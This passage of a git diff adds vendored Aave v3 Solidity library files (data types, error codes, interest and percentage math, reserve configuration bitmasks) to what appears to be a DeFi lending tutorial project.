+library DataTypes {
+  struct ReserveData {
+    //stores the reserve configuration
+    ReserveConfigurationMap configuration;
+    //the liquidity index. Expressed in ray
+    uint128 liquidityIndex;
+    //the current supply rate. Expressed in ray
+    uint128 currentLiquidityRate;
+    //variable borrow index. Expressed in ray
+    uint128 variableBorrowIndex;
+    //the current variable borrow rate. Expressed in ray
+    uint128 currentVariableBorrowRate;
+    //the current stable borrow rate. Expressed in ray
+    uint128 currentStableBorrowRate;
+    //timestamp of last update
+    uint40 lastUpdateTimestamp;
+    //the id of the reserve. Represents the position in the list of the active reserves
+    uint16 id;
+    //aToken address
+    address aTokenAddress;
+    //stableDebtToken address
+    address stableDebtTokenAddress;
+    //variableDebtToken address
+    address variableDebtTokenAddress;
+    //address of the interest rate strategy
+    address interestRateStrategyAddress;
+    //the current treasury balance, scaled
+    uint128 accruedToTreasury;
+    //the outstanding unbacked aTokens minted through the bridging feature
+    uint128 unbacked;
+    //the outstanding debt borrowed against this asset in isolation mode
+    uint128 isolationModeTotalDebt;
+  }
+
+  struct ReserveConfigurationMap {
+    //bit 0-15: LTV
+    //bit 16-31: Liq. threshold
+    //bit 32-47: Liq. bonus
+    //bit 48-55: Decimals
+    //bit 56: reserve is active
+    //bit 57: reserve is frozen
+    //bit 58: borrowing is enabled
+    //bit 59: stable rate borrowing enabled
+    //bit 60: asset is paused
+    //bit 61: borrowing in isolation mode is enabled
+    //bit 62: siloed borrowing enabled
+    //bit 63: flashloaning enabled
+    //bit 64-79: reserve factor
+    //bit 80-115 borrow cap in whole tokens, borrowCap == 0 => no cap
+    //bit 116-151 supply cap in whole tokens, supplyCap == 0 => no cap
+    //bit 152-167 liquidation protocol fee
+    //bit 168-175 eMode category
+    //bit 176-211 unbacked mint cap in whole tokens, unbackedMintCap == 0 => minting disabled
+    //bit 212-251 debt ceiling for isolation mode with (ReserveConfiguration::DEBT_CEILING_DECIMALS) decimals
+    //bit 252-255 unused
+
+    uint256 data;
+  }
+
+  struct UserConfigurationMap {
+    /**
+     * @dev Bitmap of the users collaterals and borrows. It is divided in pairs of bits, one pair per asset.
+     * The first bit indicates if an asset is used as collateral by the user, the second whether an
+     * asset is borrowed by the user.
+     */
+    uint256 data;
+  }
+
+  struct EModeCategory {
+    // each eMode category has a custom ltv and liquidation threshold
+    uint16 ltv;
+    uint16 liquidationThreshold;
+    uint16 liquidationBonus;
+    // each eMode category may or may not have a custom oracle to override the individual assets price oracles
+    address priceSource;
+    string label;
+  }
+
+  enum InterestRateMode {NONE, STABLE, VARIABLE}
+
+  struct ReserveCache {
+    uint256 currScaledVariableDebt;
+    uint256 nextScaledVariableDebt;
+    uint256 currPrincipalStableDebt;
+    uint256 currAvgStableBorrowRate;
+    uint256 currTotalStableDebt;
+    uint256 nextAvgStableBorrowRate;
+    uint256 nextTotalStableDebt;
+    uint256 currLiquidityIndex;
+    uint256 nextLiquidityIndex;
+    uint256 currVariableBorrowIndex;
+    uint256 nextVariableBorrowIndex;
+    uint256 currLiquidityRate;
+    uint256 currVariableBorrowRate;
+    uint256 reserveFactor;
+    ReserveConfigurationMap reserveConfiguration;
+    address aTokenAddress;
+    address stableDebtTokenAddress;
+    address variableDebtTokenAddress;
+    uint40 reserveLastUpdateTimestamp;
+    uint40 stableDebtLastUpdateTimestamp;
+  }
+
+  struct ExecuteLiquidationCallParams {
+    uint256 reservesCount;
+    uint256 debtToCover;
+    address collateralAsset;
+    address debtAsset;
+    address user;
+    bool receiveAToken;
+    address priceOracle;
+    uint8 userEModeCategory;
+    address priceOracleSentinel;
+  }
+
+  struct ExecuteSupplyParams {
+    address asset;
+    uint256 amount;
+    address onBehalfOf;
+    uint16 referralCode;
+  }
+
+  struct ExecuteBorrowParams {
+    address asset;
+    address user;
+    address onBehalfOf;
+    uint256 amount;
+    InterestRateMode interestRateMode;
+    uint16 referralCode;
+    bool releaseUnderlying;
+    uint256 maxStableRateBorrowSizePercent;
+    uint256 reservesCount;
+    address oracle;
+    uint8 userEModeCategory;
+    address priceOracleSentinel;
+  }
+
+  struct ExecuteRepayParams {
+    address asset;
+    uint256 amount;
+    InterestRateMode interestRateMode;
+    address onBehalfOf;
+    bool useATokens;
+  }
+
+  struct ExecuteWithdrawParams {
+    address asset;
+    uint256 amount;
+    address to;
+    uint256 reservesCount;
+    address oracle;
+    uint8 userEModeCategory;
+  }
+
+  struct ExecuteSetUserEModeParams {
+    uint256 reservesCount;
+    address oracle;
+    uint8 categoryId;
+  }
+
+  struct FinalizeTransferParams {
+    address asset;
+    address from;
+    address to;
+    uint256 amount;
+    uint256 balanceFromBefore;
+    uint256 balanceToBefore;
+    uint256 reservesCount;
+    address oracle;
+    uint8 fromEModeCategory;
+  }
+
+  struct FlashloanParams {
+    address receiverAddress;
+    address[] assets;
+    uint256[] amounts;
+    uint256[] interestRateModes;
+    address onBehalfOf;
+    bytes params;
+    uint16 referralCode;
+    uint256 flashLoanPremiumToProtocol;
+    uint256 flashLoanPremiumTotal;
+    uint256 maxStableRateBorrowSizePercent;
+    uint256 reservesCount;
+    address addressesProvider;
+    uint8 userEModeCategory;
+    bool isAuthorizedFlashBorrower;
+  }
+
+  struct FlashloanSimpleParams {
+    address receiverAddress;
+    address asset;
+    uint256 amount;
+    bytes params;
+    uint16 referralCode;
+    uint256 flashLoanPremiumToProtocol;
+    uint256 flashLoanPremiumTotal;
+  }
+
+  struct FlashLoanRepaymentParams {
+    uint256 amount;
+    uint256 totalPremium;
+    uint256 flashLoanPremiumToProtocol;
+    address asset;
+    address receiverAddress;
+    uint16 referralCode;
+  }
+
+  struct CalculateUserAccountDataParams {
+    UserConfigurationMap userConfig;
+    uint256 reservesCount;
+    address user;
+    address oracle;
+    uint8 userEModeCategory;
+  }
+
+  struct ValidateBorrowParams {
+    ReserveCache reserveCache;
+    UserConfigurationMap userConfig;
+    address asset;
+    address userAddress;
+    uint256 amount;
+    InterestRateMode interestRateMode;
+    uint256 maxStableLoanPercent;
+    uint256 reservesCount;
+    address oracle;
+    uint8 userEModeCategory;
+    address priceOracleSentinel;
+    bool isolationModeActive;
+    address isolationModeCollateralAddress;
+    uint256 isolationModeDebtCeiling;
+  }
+
+  struct ValidateLiquidationCallParams {
+    ReserveCache debtReserveCache;
+    uint256 totalDebt;
+    uint256 healthFactor;
+    address priceOracleSentinel;
+  }
+
+  struct CalculateInterestRatesParams {
+    uint256 unbacked;
+    uint256 liquidityAdded;
+    uint256 liquidityTaken;
+    uint256 totalStableDebt;
+    uint256 totalVariableDebt;
+    uint256 averageStableBorrowRate;
+    uint256 reserveFactor;
+    address reserve;
+    address aToken;
+  }
+
+  struct InitReserveParams {
+    address asset;
+    address aTokenAddress;
+    address stableDebtAddress;
+    address variableDebtAddress;
+    address interestRateStrategyAddress;
+    uint16 reservesCount;
+    uint16 maxNumberReserves;
+  }
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/Errors.sol b/basic/21-aave-uni-loan/contracts/libraries/Errors.sol
new file mode 100644
index 000000000..990069e0f
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/Errors.sol
@@ -0,0 +1,100 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.0;
+
+/**
+ * @title Errors library
+ * @author Aave
+ * @notice Defines the error messages emitted by the different contracts of the Aave protocol
+ */
+library Errors {
+  string public constant CALLER_NOT_POOL_ADMIN = '1'; // 'The caller of the function is not a pool admin'
+  string public constant CALLER_NOT_EMERGENCY_ADMIN = '2'; // 'The caller of the function is not an emergency admin'
+  string public constant CALLER_NOT_POOL_OR_EMERGENCY_ADMIN = '3'; // 'The caller of the function is not a pool or emergency admin'
+  string public constant CALLER_NOT_RISK_OR_POOL_ADMIN = '4'; // 'The caller of the function is not a risk or pool admin'
+  string public constant CALLER_NOT_ASSET_LISTING_OR_POOL_ADMIN = '5'; // 'The caller of the function is not an asset listing or pool admin'
+  string public constant CALLER_NOT_BRIDGE = '6'; // 'The caller of the function is not a bridge'
+  string public constant ADDRESSES_PROVIDER_NOT_REGISTERED = '7'; // 'Pool addresses provider is not registered'
+  string public constant INVALID_ADDRESSES_PROVIDER_ID = '8'; // 'Invalid id for the pool addresses provider'
+  string public constant NOT_CONTRACT = '9'; // 'Address is not a contract'
+  string public constant CALLER_NOT_POOL_CONFIGURATOR = '10'; // 'The caller of the function is not the pool configurator'
+  string public constant CALLER_NOT_ATOKEN = '11'; // 'The caller of the function is not an AToken'
+  string public constant INVALID_ADDRESSES_PROVIDER = '12'; // 'The address of the pool addresses provider is invalid'
+  string public constant INVALID_FLASHLOAN_EXECUTOR_RETURN = '13'; // 'Invalid return value of the flashloan executor function'
+  string public constant RESERVE_ALREADY_ADDED = '14'; // 'Reserve has already been added to reserve list'
+  string public constant NO_MORE_RESERVES_ALLOWED = '15'; // 'Maximum amount of reserves in the pool reached'
+  string public constant EMODE_CATEGORY_RESERVED = '16'; // 'Zero eMode category is reserved for volatile heterogeneous assets'
+  string public constant INVALID_EMODE_CATEGORY_ASSIGNMENT = '17'; // 'Invalid eMode category assignment to asset'
+  string public constant RESERVE_LIQUIDITY_NOT_ZERO = '18'; // 'The liquidity of the reserve needs to be 0'
+  string public constant FLASHLOAN_PREMIUM_INVALID = '19'; // 'Invalid flashloan premium'
+  string public constant INVALID_RESERVE_PARAMS = '20'; // 'Invalid risk parameters for the reserve'
+  string public constant INVALID_EMODE_CATEGORY_PARAMS = '21'; // 'Invalid risk parameters for the eMode category'
+  string public constant BRIDGE_PROTOCOL_FEE_INVALID = '22'; // 'Invalid bridge protocol fee'
+  string public constant CALLER_MUST_BE_POOL = '23'; // 'The caller of this function must be a pool'
+  string public constant INVALID_MINT_AMOUNT = '24'; // 'Invalid amount to mint'
+  string public constant INVALID_BURN_AMOUNT = '25'; // 'Invalid amount to burn'
+  string public constant INVALID_AMOUNT = '26'; // 'Amount must be greater than 0'
+  string public constant RESERVE_INACTIVE = '27'; // 'Action requires an active reserve'
+  string public constant RESERVE_FROZEN = '28'; // 'Action cannot be performed because the reserve is frozen'
+  string public constant RESERVE_PAUSED = '29'; // 'Action cannot be performed because the reserve is paused'
+  string public constant BORROWING_NOT_ENABLED = '30'; // 'Borrowing is not enabled'
+  string public constant STABLE_BORROWING_NOT_ENABLED = '31'; // 'Stable borrowing is not enabled'
+  string public constant NOT_ENOUGH_AVAILABLE_USER_BALANCE = '32'; // 'User cannot withdraw more than the available balance'
+  string public constant INVALID_INTEREST_RATE_MODE_SELECTED = '33'; // 'Invalid interest rate mode selected'
+  string public constant COLLATERAL_BALANCE_IS_ZERO = '34'; // 'The collateral balance is 0'
+  string public constant HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '35'; // 'Health factor is lesser than the liquidation threshold'
+  string public constant COLLATERAL_CANNOT_COVER_NEW_BORROW = '36'; // 'There is not enough collateral to cover a new borrow'
+  string public constant COLLATERAL_SAME_AS_BORROWING_CURRENCY = '37'; // 'Collateral is (mostly) the same currency that is being borrowed'
+  string public constant AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '38'; // 'The requested amount is greater than the max loan size in stable rate mode'
+  string public constant NO_DEBT_OF_SELECTED_TYPE = '39'; // 'For repayment of a specific type of debt, the user needs to have debt that type'
+  string public constant NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '40'; // 'To repay on behalf of a user an explicit amount to repay is needed'
+  string public constant NO_OUTSTANDING_STABLE_DEBT = '41'; // 'User does not have outstanding stable rate debt on this reserve'
+  string public constant NO_OUTSTANDING_VARIABLE_DEBT = '42'; // 'User does not have outstanding variable rate debt on this reserve'
+  string public constant UNDERLYING_BALANCE_ZERO = '43'; // 'The underlying balance needs to be greater than 0'
+  string public constant INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '44'; // 'Interest rate rebalance conditions were not met'
+  string public constant HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '45'; // 'Health factor is not below the threshold'
+  string public constant COLLATERAL_CANNOT_BE_LIQUIDATED = '46'; // 'The collateral chosen cannot be liquidated'
+  string public constant SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '47'; // 'User did not borrow the specified currency'
+  string public constant INCONSISTENT_FLASHLOAN_PARAMS = '49'; // 'Inconsistent flashloan parameters'
+  string public constant BORROW_CAP_EXCEEDED = '50'; // 'Borrow cap is exceeded'
+  string public constant SUPPLY_CAP_EXCEEDED = '51'; // 'Supply cap is exceeded'
+  string public constant UNBACKED_MINT_CAP_EXCEEDED = '52'; // 'Unbacked mint cap is exceeded'
+  string public constant DEBT_CEILING_EXCEEDED = '53'; // 'Debt ceiling is exceeded'
+  string public constant UNDERLYING_CLAIMABLE_RIGHTS_NOT_ZERO = '54'; // 'Claimable rights over underlying not zero (aToken supply or accruedToTreasury)'
+  string public constant STABLE_DEBT_NOT_ZERO = '55'; // 'Stable debt supply is not zero'
+  string public constant VARIABLE_DEBT_SUPPLY_NOT_ZERO = '56'; // 'Variable debt supply is not zero'
+  string public constant LTV_VALIDATION_FAILED = '57'; // 'Ltv validation failed'
+  string public constant INCONSISTENT_EMODE_CATEGORY = '58'; // 'Inconsistent eMode category'
+  string public constant PRICE_ORACLE_SENTINEL_CHECK_FAILED = '59'; // 'Price oracle sentinel validation failed'
+  string public constant ASSET_NOT_BORROWABLE_IN_ISOLATION = '60'; // 'Asset is not borrowable in isolation mode'
+  string public constant RESERVE_ALREADY_INITIALIZED = '61'; // 'Reserve has already been initialized'
+  string public constant USER_IN_ISOLATION_MODE_OR_LTV_ZERO = '62'; // 'User is in isolation mode or ltv is zero'
+  string public constant INVALID_LTV = '63'; // 'Invalid ltv parameter for the reserve'
+  string public constant INVALID_LIQ_THRESHOLD = '64'; // 'Invalid liquidity threshold parameter for the reserve'
+  string public constant INVALID_LIQ_BONUS = '65'; // 'Invalid liquidity bonus parameter for the reserve'
+  string public constant INVALID_DECIMALS = '66'; // 'Invalid decimals parameter of the underlying asset of the reserve'
+  string public constant INVALID_RESERVE_FACTOR = '67'; // 'Invalid reserve factor parameter for the reserve'
+  string public constant INVALID_BORROW_CAP = '68'; // 'Invalid borrow cap for the reserve'
+  string public constant INVALID_SUPPLY_CAP = '69'; // 'Invalid supply cap for the reserve'
+  string public constant INVALID_LIQUIDATION_PROTOCOL_FEE = '70'; // 'Invalid liquidation protocol fee for the reserve'
+  string public constant INVALID_EMODE_CATEGORY = '71'; // 'Invalid eMode category for the reserve'
+  string public constant INVALID_UNBACKED_MINT_CAP = '72'; // 'Invalid unbacked mint cap for the reserve'
+  string public constant INVALID_DEBT_CEILING = '73'; // 'Invalid debt ceiling for the reserve
+  string public constant INVALID_RESERVE_INDEX = '74'; // 'Invalid reserve index'
+  string public constant ACL_ADMIN_CANNOT_BE_ZERO = '75'; // 'ACL admin cannot be set to the zero address'
+  string public constant INCONSISTENT_PARAMS_LENGTH = '76'; // 'Array parameters that should be equal length are not'
+  string public constant ZERO_ADDRESS_NOT_VALID = '77'; // 'Zero address not valid'
+  string public constant INVALID_EXPIRATION = '78'; // 'Invalid expiration'
+  string public constant INVALID_SIGNATURE = '79'; // 'Invalid signature'
+  string public constant OPERATION_NOT_SUPPORTED = '80'; // 'Operation not supported'
+  string public constant DEBT_CEILING_NOT_ZERO = '81'; // 'Debt ceiling is not zero'
+  string public constant ASSET_NOT_LISTED = '82'; // 'Asset is not listed'
+  string public constant INVALID_OPTIMAL_USAGE_RATIO = '83'; // 'Invalid optimal usage ratio'
+  string public constant INVALID_OPTIMAL_STABLE_TO_TOTAL_DEBT_RATIO = '84'; // 'Invalid optimal stable to total debt ratio'
+  string public constant UNDERLYING_CANNOT_BE_RESCUED = '85'; // 'The underlying asset cannot be rescued'
+  string public constant ADDRESSES_PROVIDER_ALREADY_ADDED = '86'; // 'Reserve has already been added to reserve list'
+  string public constant POOL_ADDRESSES_DO_NOT_MATCH = '87'; // 'The token implementation pool address and the pool address provided by the initializing pool do not match'
+  string public constant STABLE_BORROWING_ENABLED = '88'; // 'Stable borrowing is enabled'
+  string public constant SILOED_BORROWING_VIOLATION = '89'; // 'User is trying to borrow multiple assets including a siloed one'
+  string public constant RESERVE_DEBT_NOT_ZERO = '90'; // the total debt of the reserve needs to be 0
+  string public constant FLASHLOAN_DISABLED = '91'; // FlashLoaning for this asset is disabled
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/MathUtils.sol b/basic/21-aave-uni-loan/contracts/libraries/MathUtils.sol
new file mode 100644
index 000000000..9adca939d
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/MathUtils.sol
@@ -0,0 +1,99 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.0;
+
+import {WadRayMath} from './WadRayMath.sol';
+
+/**
+ * @title MathUtils library
+ * @author Aave
+ * @notice Provides functions to perform linear and compounded interest calculations
+ */
+library MathUtils {
+  using WadRayMath for uint256;
+
+  /// @dev Ignoring leap years
+  uint256 internal constant SECONDS_PER_YEAR = 365 days;
+
+  /**
+   * @dev Function to calculate the interest accumulated using a linear interest rate formula
+   * @param rate The interest rate, in ray
+   * @param lastUpdateTimestamp The timestamp of the last update of the interest
+   * @return The interest rate linearly accumulated during the timeDelta, in ray
+   */
+  function calculateLinearInterest(
+    uint256 rate,
+    uint40 lastUpdateTimestamp
+  ) internal view returns (uint256) {
+    //solium-disable-next-line
+    uint256 result = rate * (block.timestamp - uint256(lastUpdateTimestamp));
+    unchecked {
+      result = result / SECONDS_PER_YEAR;
+    }
+
+    return WadRayMath.RAY + result;
+  }
+
+  /**
+   * @dev Function to calculate the interest using a compounded interest rate formula
+   * To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
+   *
+   *  (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
+   *
+   * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great
+   * gas cost reductions. The whitepaper contains reference to the approximation and a table showing the margin of
+   * error per different time periods
+   *
+   * @param rate The interest rate, in ray
+   * @param lastUpdateTimestamp The timestamp of the last update of the interest
+   * @return The interest rate compounded during the timeDelta, in ray
+   */
+  function calculateCompoundedInterest(
+    uint256 rate,
+    uint40 lastUpdateTimestamp,
+    uint256 currentTimestamp
+  ) internal pure returns (uint256) {
+    //solium-disable-next-line
+    uint256 exp = currentTimestamp - uint256(lastUpdateTimestamp);
+
+    if (exp == 0) {
+      return WadRayMath.RAY;
+    }
+
+    uint256 expMinusOne;
+    uint256 expMinusTwo;
+    uint256 basePowerTwo;
+    uint256 basePowerThree;
+    unchecked {
+      expMinusOne = exp - 1;
+
+      expMinusTwo = exp > 2 ? exp - 2 : 0;
+
+      basePowerTwo = rate.rayMul(rate) / (SECONDS_PER_YEAR * SECONDS_PER_YEAR);
+      basePowerThree = basePowerTwo.rayMul(rate) / SECONDS_PER_YEAR;
+    }
+
+    uint256 secondTerm = exp * expMinusOne * basePowerTwo;
+    unchecked {
+      secondTerm /= 2;
+    }
+    uint256 thirdTerm = exp * expMinusOne * expMinusTwo * basePowerThree;
+    unchecked {
+      thirdTerm /= 6;
+    }
+
+    return WadRayMath.RAY + (rate * exp) / SECONDS_PER_YEAR + secondTerm + thirdTerm;
+  }
+
+  /**
+   * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp
+   * @param rate The interest rate (in ray)
+   * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated
+   * @return The interest rate compounded between lastUpdateTimestamp and current block timestamp, in ray
+   */
+  function calculateCompoundedInterest(
+    uint256 rate,
+    uint40 lastUpdateTimestamp
+  ) internal view returns (uint256) {
+    return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp);
+  }
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/PercentageMath.sol b/basic/21-aave-uni-loan/contracts/libraries/PercentageMath.sol
new file mode 100644
index 000000000..c000be3a6
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/PercentageMath.sol
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.0;
+
+/**
+ * @title PercentageMath library
+ * @author Aave
+ * @notice Provides functions to perform percentage calculations
+ * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR
+ * @dev Operations are rounded. If a value is >=.5, will be rounded up, otherwise rounded down.
+ */
+library PercentageMath {
+  // Maximum percentage factor (100.00%)
+  uint256 internal constant PERCENTAGE_FACTOR = 1e4;
+
+  // Half percentage factor (50.00%)
+  uint256 internal constant HALF_PERCENTAGE_FACTOR = 0.5e4;
+
+  /**
+   * @notice Executes a percentage multiplication
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param value The value of which the percentage needs to be calculated
+   * @param percentage The percentage of the value to be calculated
+   * @return result value percentmul percentage
+   */
+  function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256 result) {
+    // to avoid overflow, value <= (type(uint256).max - HALF_PERCENTAGE_FACTOR) / percentage
+    assembly {
+      if iszero(
+        or(
+          iszero(percentage),
+          iszero(gt(value, div(sub(not(0), HALF_PERCENTAGE_FACTOR), percentage)))
+        )
+      ) {
+        revert(0, 0)
+      }
+
+      result := div(add(mul(value, percentage), HALF_PERCENTAGE_FACTOR), PERCENTAGE_FACTOR)
+    }
+  }
+
+  /**
+   * @notice Executes a percentage division
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param value The value of which the percentage needs to be calculated
+   * @param percentage The percentage of the value to be calculated
+   * @return result value percentdiv percentage
+   */
+  function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256 result) {
+    // to avoid overflow, value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR
+    assembly {
+      if or(
+        iszero(percentage),
+        iszero(iszero(gt(value, div(sub(not(0), div(percentage, 2)), PERCENTAGE_FACTOR))))
+      ) {
+        revert(0, 0)
+      }
+
+      result := div(add(mul(value, PERCENTAGE_FACTOR), div(percentage, 2)), percentage)
+    }
+  }
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/ReserveConfiguration.sol b/basic/21-aave-uni-loan/contracts/libraries/ReserveConfiguration.sol
new file mode 100644
index 000000000..22e822865
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/ReserveConfiguration.sol
@@ -0,0 +1,611 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.0;
+
+import {Errors} from './Errors.sol';
+import {DataTypes} from './DataTypes.sol';
+
+/**
+ * @title ReserveConfiguration library
+ * @author Aave
+ * @notice Implements the bitmap logic to handle the reserve configuration
+ */
+library ReserveConfiguration {
+  uint256 internal constant LTV_MASK =                       0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore
+  uint256 internal constant LIQUIDATION_THRESHOLD_MASK =     0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore
+  uint256 internal constant LIQUIDATION_BONUS_MASK =         0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore
+  uint256 internal constant DECIMALS_MASK =                  0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant ACTIVE_MASK =                    0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant FROZEN_MASK =                    0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant BORROWING_MASK =                 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant STABLE_BORROWING_MASK =          0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant PAUSED_MASK =                    0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant BORROWABLE_IN_ISOLATION_MASK =   0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant SILOED_BORROWING_MASK =          0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant FLASHLOAN_ENABLED_MASK =         0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant RESERVE_FACTOR_MASK =            0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant BORROW_CAP_MASK =                0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000FFFFFFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant SUPPLY_CAP_MASK =                0xFFFFFFFFFFFFFFFFFFFFFFFFFF000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant LIQUIDATION_PROTOCOL_FEE_MASK =  0xFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant EMODE_CATEGORY_MASK =            0xFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant UNBACKED_MINT_CAP_MASK =         0xFFFFFFFFFFF000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // prettier-ignore
+  uint256 internal constant DEBT_CEILING_MASK =              0xF0000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // prettier-ignore
+
+  /// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed
+  uint256 internal constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16;
+  uint256 internal constant LIQUIDATION_BONUS_START_BIT_POSITION = 32;
+  uint256 internal constant RESERVE_DECIMALS_START_BIT_POSITION = 48;
+  uint256 internal constant IS_ACTIVE_START_BIT_POSITION = 56;
+  uint256 internal constant IS_FROZEN_START_BIT_POSITION = 57;
+  uint256 internal constant BORROWING_ENABLED_START_BIT_POSITION = 58;
+  uint256 internal constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59;
+  uint256 internal constant IS_PAUSED_START_BIT_POSITION = 60;
+  uint256 internal constant BORROWABLE_IN_ISOLATION_START_BIT_POSITION = 61;
+  uint256 internal constant SILOED_BORROWING_START_BIT_POSITION = 62;
+  uint256 internal constant FLASHLOAN_ENABLED_START_BIT_POSITION = 63;
+  uint256 internal constant RESERVE_FACTOR_START_BIT_POSITION = 64;
+  uint256 internal constant BORROW_CAP_START_BIT_POSITION = 80;
+  uint256 internal constant SUPPLY_CAP_START_BIT_POSITION = 116;
+  uint256 internal constant LIQUIDATION_PROTOCOL_FEE_START_BIT_POSITION = 152;
+  uint256 internal constant EMODE_CATEGORY_START_BIT_POSITION = 168;
+  uint256 internal constant UNBACKED_MINT_CAP_START_BIT_POSITION = 176;
+  uint256 internal constant DEBT_CEILING_START_BIT_POSITION = 212;
+
+  uint256 internal constant MAX_VALID_LTV = 65535;
+  uint256 internal constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535;
+  uint256 internal constant MAX_VALID_LIQUIDATION_BONUS = 65535;
+  uint256 internal constant MAX_VALID_DECIMALS = 255;
+  uint256 internal constant MAX_VALID_RESERVE_FACTOR = 65535;
+  uint256 internal constant MAX_VALID_BORROW_CAP = 68719476735;
+  uint256 internal constant MAX_VALID_SUPPLY_CAP = 68719476735;
+  uint256 internal constant MAX_VALID_LIQUIDATION_PROTOCOL_FEE = 65535;
+  uint256 internal constant MAX_VALID_EMODE_CATEGORY = 255;
+  uint256 internal constant MAX_VALID_UNBACKED_MINT_CAP = 68719476735;
+  uint256 internal constant MAX_VALID_DEBT_CEILING = 1099511627775;
+
+  uint256 public constant DEBT_CEILING_DECIMALS = 2;
+  uint16 public constant MAX_RESERVES_COUNT = 128;
+
+  /**
+   * @notice Sets the Loan to Value of the reserve
+   * @param self The reserve configuration
+   * @param ltv The new ltv
+   */
+  function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure {
+    require(ltv <= MAX_VALID_LTV, Errors.INVALID_LTV);
+
+    self.data = (self.data & LTV_MASK) | ltv;
+  }
+
+  /**
+   * @notice Gets the Loan to Value of the reserve
+   * @param self The reserve configuration
+   * @return The loan to value
+   */
+  function getLtv(DataTypes.ReserveConfigurationMap memory self) internal pure returns (uint256) {
+    return self.data & ~LTV_MASK;
+  }
+
+  /**
+   * @notice Sets the liquidation threshold of the reserve
+   * @param self The reserve configuration
+   * @param threshold The new liquidation threshold
+   */
+  function setLiquidationThreshold(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 threshold
+  ) internal pure {
